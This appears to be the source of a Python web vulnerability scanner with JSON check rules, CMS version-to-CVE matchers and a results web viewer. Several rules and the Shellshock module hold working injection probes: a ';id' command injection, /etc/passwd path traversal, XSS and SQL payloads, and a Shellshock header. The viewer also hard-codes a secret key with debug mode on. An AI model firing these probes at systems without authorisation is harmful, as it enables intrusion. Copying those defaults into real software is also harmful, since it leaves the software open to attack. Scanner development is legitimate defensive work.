├── __init__.py ├── core ├── __init__.py ├── response.py ├── scope.py ├── webapps.py ├── scanner.py ├── request.py ├── database.py ├── utils.py ├── login.py ├── modules.py ├── engine.py ├── scripts.py └── postback_crawler.py ├── ext ├── __init__.py ├── libcms │ ├── __init__.py │ ├── scanners │ │ ├── __init__.py │ │ ├── joomla.py │ │ ├── drupal.py │ │ ├── cms_scanner.py │ │ └── wordpress.py │ ├── cms_scanner_core.py │ └── detector.py ├── mefjus │ ├── __init__.py │ └── ghost.py └── metamonster │ ├── __init__.py │ ├── detector.py │ ├── rpcclient.py │ ├── meta_executor.py │ └── metamonster.py ├── webapp ├── __init__.py ├── databases │ ├── concrete5_vulns.json │ ├── modx_revolution_vulns.json │ ├── process.py │ └── update.py ├── cmsmadesimple.py ├── subrion.py ├── textpattern.py ├── concrete5.py ├── magento.py ├── typo3.py ├── modx.py ├── php.py ├── base_app.py ├── phpmyadmin.py └── tomcat.py ├── modules ├── __init__.py ├── module_base.py ├── module_sitemap.py ├── module_robots.py ├── module_shellshock.py ├── module_backup_files.py ├── module_stored_xss.py ├── module_uploads.py ├── module_sqli_timebased.py └── module_sqli_booleanbased.py ├── drivers └── chromedriver.exe ├── requirements.txt ├── scripts ├── server_header_exposure.json ├── server_powered_by_discovery.json ├── source_code_disclosure_asp.json ├── source_code_disclosure_php.json ├── htaccess.json ├── htpasswd.json ├── git_repo.json ├── webconfig.json ├── composer.json ├── admin_portal.json ├── cgi-bin.json ├── tag_xss.json ├── file_inclusion_abs.json ├── admin_directory_discovery.json ├── command_injection.json ├── file_inclusion.json ├── wp-admin.json ├── remote_file_inclusion.json ├── file_inclusion_nullbyte.json ├── attrib_xss.json ├── php_application_error.json └── sql_injection.json ├── web ├── webserver.py └── public │ └── index.html ├── .gitignore └── README.md /__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ext/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /webapp/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ext/libcms/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ext/mefjus/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ext/metamonster/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ext/libcms/scanners/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /drivers/chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/Helios/master/drivers/chromedriver.exe -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4 2 | futures 3 | requests 4 | selenium 5 | pyOpenSSL 6 | filelock 7 | msgpack -------------------------------------------------------------------------------- /scripts/server_header_exposure.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Server header exposure", 3 | "run_at": "response", 4 | "find": "once", 5 | "severity": 1, 6 | "options": ["passive"], 7 | "request": null, 8 | "matches": [ 9 | { 10 | "type": "exists", 11 | "location": "headers", 12 | "match": "server", 13 | "options": [ 14 | "ignore_case" 15 | ] 16 | } 17 | ] 18 | } -------------------------------------------------------------------------------- /scripts/server_powered_by_discovery.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Server Backend System exposure", 3 | "run_at": "response", 4 | "find": "once", 5 | "severity": 1, 6 | "options": ["passive"], 7 | "request": null, 8 | "matches": [ 9 | { 10 | "type": "exists", 11 | "location": "headers", 12 | "match": "x-powered-by", 13 | "options": [ 14 | "ignore_case" 15 | ] 16 | } 17 | ] 18 | } -------------------------------------------------------------------------------- /scripts/source_code_disclosure_asp.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Source Code Disclosure (ASP)", 3 | "run_at": "response", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["passive"], 7 | "request": null, 8 | "matches": [ 9 | { 10 | "type": "regex", 11 | "location": "body", 12 | "match": "(?s)(<%.+?%>)", 13 | "options": [ 14 | "ignore_case", 15 | "strip_newlines" 16 | ] 17 | } 18 | ] 19 | } -------------------------------------------------------------------------------- /scripts/source_code_disclosure_php.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Source Code Disclosure (PHP)", 3 | "run_at": "response", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["passive"], 7 | "request": null, 8 | "matches": [ 9 | { 10 | "type": "regex", 11 | "location": "body", 12 | "match": "(?s)(<\\?php.+?\\?>)", 13 | "options": [ 14 | "ignore_case", 15 | "strip_newlines" 16 | ] 17 | } 18 | ] 19 | } -------------------------------------------------------------------------------- /scripts/htaccess.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":".htaccess discovery", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 2, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":".htaccess" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"equals", 14 | "location":"status_code", 15 | "match":"200", 16 | "name":".htaccess match code 200", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/htpasswd.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":".htpasswd discovery", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 2, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":".htpasswd" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"equals", 14 | "location":"status_code", 15 | "match":"200", 16 | "name":".htpasswd match code 200", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/git_repo.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"GIT repository found", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 3, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":".git/index" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"equals", 14 | "location":"status_code", 15 | "match":"200", 16 | "name":".git/index match code 200", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/webconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"web.config discovery", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 3, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":"web.config" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"equals", 14 | "location":"status_code", 15 | "match":"200", 16 | "name":"web.config match code 200", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"composer.json discovery", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 2, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":"composer.json" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"equals", 14 | "location":"status_code", 15 | "match":"200", 16 | "name":"composer.json match code 200", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/admin_portal.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"Admin Login Page", 3 | "run_at":"fs", 4 | "find":"once", 5 | "severity": 0, 6 | "options": ["discovery"], 7 | "request":null, 8 | "data":{ 9 | "url":"administrator\/" 10 | }, 11 | "matches":[ 12 | { 13 | "type":"regex", 14 | "location":"body", 15 | "match":"(?s)admin.+?login", 16 | "name":"Administrative Login Portal found", 17 | "options":[ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/cgi-bin.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "CGI-bin directory found", 3 | "run_at": "fs", 4 | "find": "once", 5 | "severity": 0, 6 | "options": ["discovery"], 7 | "data": { 8 | "url": "cgi-bin/", 9 | "options": [ 10 | "rootdir" 11 | ] 12 | }, 13 | "request": null, 14 | "matches": [ 15 | { 16 | "type": "regex", 17 | "location": "body", 18 | "match": ".+?", 19 | "name": "CGI-bin Directory found", 20 | "options": [ 21 | "ignore_case" 22 | ] 23 | } 24 | ] 25 | } -------------------------------------------------------------------------------- /scripts/tag_xss.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Cross-Site Scripting (XSS)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "request": ["parameters", "cookies"], 7 | "options": ["injection", "dangerous"], 8 | "data": { 9 | "inject_value": "" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "regex", 14 | "location": "body", 15 | "match": "", 16 | "name": "Reflected HTML in body", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/file_inclusion_abs.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Local File Inclusion (Absolute Path)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "/etc/passwd" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "contains", 14 | "location": "body", 15 | "match": "0:0:root", 16 | "name": "/etc/passwd disclosure", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/admin_directory_discovery.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Admin directory found", 3 | "run_at": "fs", 4 | "find": "once", 5 | "severity": 0, 6 | "options": ["discovery"], 7 | "data": { 8 | "url": "admin/", 9 | "options": [ 10 | "rootdir" 11 | ] 12 | }, 13 | "request": null, 14 | "matches": [ 15 | { 16 | "type": "equals", 17 | "location": "status_code", 18 | "match": "200", 19 | "name": "Admin directory found", 20 | "options": [ 21 | "ignore_case" 22 | ] 23 | } 24 | ] 25 | } -------------------------------------------------------------------------------- /scripts/command_injection.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Command Injection (Unix)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "{value};id" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "regex", 14 | "location": "body", 15 | "match": "(uid=\\d+.+?groups=\\d+.+)[<\\s]?", 16 | "name": "ID command output match", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/file_inclusion.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Local File Inclusion", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "../../../../../../../../../../../etc/passwd" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "contains", 14 | "location": "body", 15 | "match": "0:0:root", 16 | "name": "/etc/passwd disclosure", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/wp-admin.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "WP-Admin login portal", 3 | "run_at": "fs", 4 | "options": ["discovery"], 5 | "find": "once", 6 | "severity": 0, 7 | "data": { 8 | "url": "wp-login.php", 9 | "options": [ 10 | "rootdir" 11 | ] 12 | }, 13 | "request": null, 14 | "matches": [ 15 | { 16 | "type": "regex", 17 | "location": "body", 18 | "match": "wordpress.+?login", 19 | "name": "WordPress Login portal found", 20 | "options": [ 21 | "ignore_case" 22 | ] 23 | } 24 | ] 25 | } -------------------------------------------------------------------------------- /scripts/remote_file_inclusion.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Remote File Inclusion (Reflected)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "https://api.myip.com/" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "regex", 14 | "location": "body", 15 | "match": "\"ip\":.+?\"country\"", 16 | "name": "Third-Party request data in body", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/file_inclusion_nullbyte.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Local File Inclusion (Null Byte)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "../../../../../../../../../../../etc/passwd{null}" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "contains", 14 | "location": "body", 15 | "match": "0:0:root", 16 | "name": "/etc/password disclosure", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /scripts/attrib_xss.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Cross-Site Scripting (XSS)", 3 | "run_at": "request", 4 | "find": "many", 5 | "severity": 3, 6 | "options": ["injection", "dangerous"], 7 | "request": ["parameters", "cookies"], 8 | "data": { 9 | "inject_value": "\" onmouseover=\"xss()\" bad=\"" 10 | }, 11 | "matches": [ 12 | { 13 | "type": "regex", 14 | "location": "body", 15 | "match": "\\=\"[^\"]*\" onmouseover\\=\"xss\\(\\)\"", 16 | "name": "Reflected HTML in tag attribute", 17 | "options": [ 18 | "ignore_case" 19 | ] 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /webapp/databases/concrete5_vulns.json: -------------------------------------------------------------------------------- 1 | {"Concrete5": {"CVE-2017-7725": ["5.8.1.0"], "CVE-2012-5181": ["5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2"], "CVE-2018-19146": ["8.4.3"], "CVE-2015-4721": ["5.7.3.1"], "CVE-2014-5108": ["5.4.2", "5.4.2.1", "5.4.2.2", "5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2", "5.6.1", "5.6.1.1", "5.6.1.2", "5.6.2", "5.6.2.1"], "CVE-2015-4724": ["5.7.3.1"], "CVE-2014-5107": ["5.4.2", "5.4.2.1", "5.4.2.2", "5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2", "5.6.1", "5.6.1.1", "5.6.1.2", "5.6.2", "5.6.2.1"], "CVE-2017-6908": ["5.6.3.3"], "CVE-2017-8082": ["8.1.0"], "CVE-2017-18195": ["8.2.1"], "CVE-2015-3989": ["5.7.3.1"], "CVE-2015-2250": ["5.7.3.1"], "CVE-2018-13790": ["5.8.2.0"], "CVE-2014-9526": ["5.7.2", "5.7.2.1"], "CVE-2017-6905": ["5.6.3.4"]}} -------------------------------------------------------------------------------- /scripts/php_application_error.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Application Error (PHP)", 3 | "run_at": "response", 4 | "find": "many", 5 | "severity": 2, 6 | "options": ["passive"], 7 | "request": null, 8 | "matches": [ 9 | { 10 | "type": "regex", 11 | "location": "body", 12 | "match": "(notice:.+?on line \\d+)", 13 | "options": [ 14 | "ignore_case" 15 | ] 16 | }, 17 | { 18 | "type": "regex", 19 | "location": "body", 20 | "match": "(warning:.+?on line \\d+)", 21 | "options": [ 22 | "ignore_case" 23 | ] 24 | }, 25 | { 26 | "type": "regex", 27 | "location": "body", 28 | "match": "(error:.+?on line \\d+)", 29 | "options": [ 30 | "ignore_case" 31 | ] 32 | } 33 | ] 34 | } -------------------------------------------------------------------------------- /scripts/sql_injection.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"SQL Injection", 3 | "run_at":"request", 4 | "find":"many", 5 | "severity": 3, 6 | "options": ["injection"], 7 | "request":[ 8 | "parameters", 9 | "cookies" 10 | ], 11 | "data":{ 12 | "inject_value":"{value}'" 13 | }, 14 | "matches":[ 15 | { 16 | "type":"regex", 17 | "location":"body", 18 | "match":"error.+?sql", 19 | "name":"SQL Error in response", 20 | "options":[ 21 | "ignore_case" 22 | ] 23 | }, 24 | { 25 | "type":"regex", 26 | "location":"body", 27 | "match":"sql.+?error", 28 | "name":"SQL Error in response", 29 | "options":[ 30 | "ignore_case" 31 | ] 32 | }, 33 | { 34 | "type":"regex", 35 | "location":"body", 36 | "match":"(warning.+?sql.+?) 1: 44 | out[parts[0]] = parts[1] 45 | else: 46 | out[parts[0]] = "" 47 | return base, out 48 | 49 | def params_to_url(self, base, params): 50 | out = [] 51 | for key in params: 52 | out.append("%s=%s" % (quote_plus(key), quote_plus(params[key]))) 53 | return base + "?" +"&".join(out) 54 | -------------------------------------------------------------------------------- /web/webserver.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, g, jsonify, send_from_directory 2 | import sqlite3 3 | import os 4 | 5 | DATABASE = "../helios.db" 6 | 7 | # Create app 8 | app = Flask(__name__, static_folder=os.path.join("public", "static")) 9 | app.config['DEBUG'] = True 10 | app.config['SECRET_KEY'] = 'super-secret' 11 | 12 | 13 | def get_db(): 14 | db = getattr(g, '_database', None) 15 | if db is None: 16 | db = g._database = sqlite3.connect(DATABASE) 17 | db.row_factory = sqlite3.Row 18 | return db 19 | 20 | 21 | # helper to close 22 | @app.teardown_appcontext 23 | def close_connection(exception): 24 | db = getattr(g, '_database', None) 25 | if db is not None: 26 | db.close() 27 | 28 | 29 | @app.route("/scans") 30 | def projects(): 31 | cur = get_db().cursor() 32 | res = cur.execute("select * from scans order by started DESC") 33 | return jsonify([dict(ix) for ix in cur.fetchall()]) 34 | 35 | 36 | @app.route("/results/") 37 | def results(scan): 38 | cur = get_db().cursor() 39 | res = cur.execute("select * from results where scan = ? order by detected DESC", (str(scan),)) 40 | return jsonify([dict(ix) for ix in cur.fetchall()]) 41 | 42 | 43 | @app.route("/") 44 | def index(): 45 | urlpath = os.path.join(os.path.dirname(__file__), "public") 46 | return send_from_directory(urlpath, "index.html") 47 | 48 | 49 | if __name__ == "__main__": 50 | app.run() 51 | -------------------------------------------------------------------------------- /ext/metamonster/detector.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | class PassiveDetector: 5 | url = None 6 | linux_types = ['debian', 'ubuntu', 'centos', 'fedora', 'red hat'] 7 | 8 | def __init__(self, url): 9 | self.url = url 10 | 11 | def get_page(self): 12 | result = requests.get(self.url, verify=False) 13 | return result 14 | 15 | def detect(self, result): 16 | tech = [] 17 | os = None 18 | if 'wp-content' in result.text: 19 | tech.append('wordpress') 20 | tech.append('php') 21 | 22 | if 'content="drupa' in result.text.lower(): 23 | tech.append('drupal') 24 | tech.append('php') 25 | 26 | if 'Server' in result.headers: 27 | for linux_type in self.linux_types: 28 | if linux_type in result.headers['Server'].lower(): 29 | os = "linux" 30 | 31 | if 'apache' in result.headers['Server'].lower(): 32 | tech.append('apache') 33 | if 'win' in result.headers['Server'].lower(): 34 | os = "windows" 35 | 36 | if 'iis' in result.headers['Server'].lower(): 37 | tech.append('iis') 38 | os = "windows" 39 | 40 | if 'nginx' in result.headers['Server'].lower(): 41 | tech.append('nginx') 42 | 43 | if 'tomcat' in result.headers['Server'].lower(): 44 | tech.append('tomcat') 45 | 46 | if 'jboss' in result.headers['Server'].lower(): 47 | tech.append('jboss') 48 | return os, tech 49 | 50 | -------------------------------------------------------------------------------- /webapp/cmsmadesimple.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - CMS Made Simple 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "CMS Made Simple" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['', 'blog'] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and \ 27 | ("cmsmadesimple.org" in response.text or 'index.php?page=' in response.text): 28 | self.app_url = path 29 | return True 30 | return False 31 | 32 | def test(self, url): 33 | root_page = self.send(url) 34 | version = None 35 | if root_page: 36 | get_version = re.search(r'CMS Made Simple version ([\d\.]+)', root_page.text, re.IGNORECASE) 37 | if get_version: 38 | version = get_version.group(1) 39 | self.logger.info("%s version %s was identified from the footer tag" % (self.name, version)) 40 | 41 | if version: 42 | db = self.get_db("cmsmadesimple_vulns.json") 43 | data = json.loads(db) 44 | vulns = data['CmsMadeSimple'] 45 | self.match_versions(vulns, version, url) 46 | -------------------------------------------------------------------------------- /webapp/subrion.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - Subrion 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "Subrion" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['', '_core', 'blog', 'subrion'] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and \ 27 | ("Subrion" in response.text or 'jquery.js?fm=' in response.text): 28 | self.app_url = path 29 | return True 30 | return False 31 | 32 | def test(self, url): 33 | cl_url = urljoin(url, "changelog.txt") 34 | cl_data = self.send(cl_url) 35 | version = None 36 | if cl_data: 37 | get_version = re.findall(r'From\s[\d\.]+\sto\s([\d\.]+)', cl_data.text) 38 | if len(get_version): 39 | version = get_version[-1:][0] 40 | self.logger.info("%s version %s was identified from the changelog.txt file" % (self.name, version)) 41 | 42 | if version: 43 | db = self.get_db("subrion_vulns.json") 44 | data = json.loads(db) 45 | subrion_vulns = data['Subrion'] 46 | self.match_versions(subrion_vulns, version, url) 47 | -------------------------------------------------------------------------------- /webapp/textpattern.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - Textpattern 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "Textpattern" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['', 'blog', 'textpattern'] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and \ 27 | ("Textpattern" in response.text or '(.+?)', result.text): 27 | if "*" in entry: 28 | # we do not want dem wildcard 29 | continue 30 | newurl = urlparse.urljoin(url, entry).strip() 31 | newurl = newurl.replace('$', '') 32 | if newurl == url: 33 | continue 34 | if newurl not in output and self.scope.in_scope(newurl): 35 | output.append(newurl) 36 | return output 37 | 38 | def send(self, url, params, data): 39 | result = None 40 | headers = self.headers 41 | cookies = self.cookies 42 | try: 43 | if data: 44 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 45 | else: 46 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 47 | except Exception as e: 48 | print(str(e)) 49 | return result 50 | -------------------------------------------------------------------------------- /webapp/magento.py: -------------------------------------------------------------------------------- 1 | from webapp import base_app 2 | import re 3 | from core.utils import requests_response_to_dict 4 | import json 5 | import logging 6 | import requests 7 | try: 8 | from urlparse import urljoin 9 | except ImportError: 10 | from urllib.parse import urljoin 11 | 12 | 13 | # This script detects vulnerabilities in the following PHP based products: 14 | # - Magento / Magento2 15 | class Scanner(base_app.BaseAPP): 16 | 17 | def __init__(self): 18 | self.name = "Magento" 19 | self.types = [] 20 | 21 | def detect(self, url): 22 | directories = ['', 'magento', 'shop'] 23 | for d in directories: 24 | path = urljoin(url, d) 25 | response = self.send(path) 26 | if response and response.status_code == 200 and "Magento" in response.text: 27 | self.app_url = path 28 | return True 29 | return False 30 | 31 | def test(self, url): 32 | mage_version = urljoin(url, 'magento_version') 33 | mage_page = self.send(mage_version) 34 | version = None 35 | if mage_page: 36 | # only (accurate) way to get installed version 37 | get_version = re.search(r'Magento/([\d\.]+)', mage_page.text, re.IGNORECASE) 38 | if get_version: 39 | version = get_version.group(1) 40 | # old versions of Enterprise are actually 2.0 41 | if version == "1.0" and "Enterprise" in mage_page.text: 42 | version = "2.0" 43 | self.logger.info("%s version %s was identified from the magento_version call" % (self.name, version)) 44 | 45 | if version: 46 | db = self.get_db("magento_vulns.json") 47 | data = json.loads(db) 48 | vulns = data['Magento'] 49 | self.match_versions(vulns, version, url) 50 | -------------------------------------------------------------------------------- /modules/module_robots.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | try: 4 | from urllib import quote_plus 5 | import urlparse 6 | except ImportError: 7 | from urllib.parse import quote_plus 8 | import urllib.parse as urlparse 9 | import modules.module_base 10 | 11 | 12 | class Module(modules.module_base.Base): 13 | 14 | def __init__(self): 15 | self.name = "Robots.txt" 16 | self.injections = {} 17 | self.module_types = ['discovery'] 18 | self.input = "base" 19 | self.output = "crawler" 20 | 21 | def run(self, url, data=None, headers=None, cookies=None): 22 | self.headers = headers 23 | self.cookies = cookies 24 | url = urlparse.urljoin(url, '/robots.txt') 25 | result = self.send(url, None, None) 26 | output = [] 27 | if result: 28 | for entry in re.findall('(?:[Dd]is)?[Aa]llow:\s*(.+)', result.text): 29 | if "*" in entry: 30 | # we do not want dem wildcard 31 | continue 32 | newurl = urlparse.urljoin(url, entry).strip() 33 | newurl = newurl.replace('$', '') 34 | if newurl == url: 35 | continue 36 | if newurl not in output and self.scope.in_scope(newurl): 37 | output.append(newurl) 38 | return output 39 | 40 | def send(self, url, params, data): 41 | result = None 42 | headers = self.headers 43 | cookies = self.cookies 44 | try: 45 | if data: 46 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies) 47 | else: 48 | result = requests.get(url, params=params, headers=headers, cookies=cookies) 49 | except Exception as e: 50 | print(str(e)) 51 | return result 52 | -------------------------------------------------------------------------------- /modules/module_shellshock.py: -------------------------------------------------------------------------------- 1 | import requests 2 | try: 3 | import urlparse 4 | except ImportError: 5 | import urllib.parse as urlparse 6 | import modules.module_base 7 | from core.utils import requests_response_to_dict 8 | 9 | 10 | class Module(modules.module_base.Base): 11 | 12 | def __init__(self): 13 | self.name = "Shellshock" 14 | self.input = "urls" 15 | self.injections = {} 16 | self.module_types = ['injection'] 17 | self.possibilities = [ 18 | '.cgi' 19 | ] 20 | self.output = "vulns" 21 | self.severity = 3 22 | 23 | def run(self, urls, headers={}, cookies={}): 24 | results = [] 25 | list_urls = [] 26 | self.cookies = cookies 27 | for u in urls: 28 | if u[0].split('?')[0] not in list_urls: 29 | list_urls.append(u[0].split('?')[0]) 30 | for f in list_urls: 31 | for p in self.possibilities: 32 | if p in f: 33 | result = self.test(f) 34 | if result: 35 | results.append(result) 36 | return results 37 | 38 | def test(self, url): 39 | payload = { 40 | 'User-Agent': '() { ignored;};id ', 41 | 'Referer': '() { ignored;};id ' 42 | } 43 | result = self.send(url, headers=payload) 44 | if result and 'gid=' in result.text and 'uid=' in result.text: 45 | result_obj = {'request': requests_response_to_dict(result), "match": "Command was executed on server"} 46 | return result_obj 47 | return None 48 | 49 | def send(self, url, headers={}): 50 | result = None 51 | cookies = self.cookies 52 | try: 53 | result = requests.get(url, headers=headers, cookies=cookies) 54 | except Exception as e: 55 | pass 56 | return result 57 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | # custom dirs / files 107 | scan_results_*.json 108 | output.txt 109 | output.json 110 | 111 | 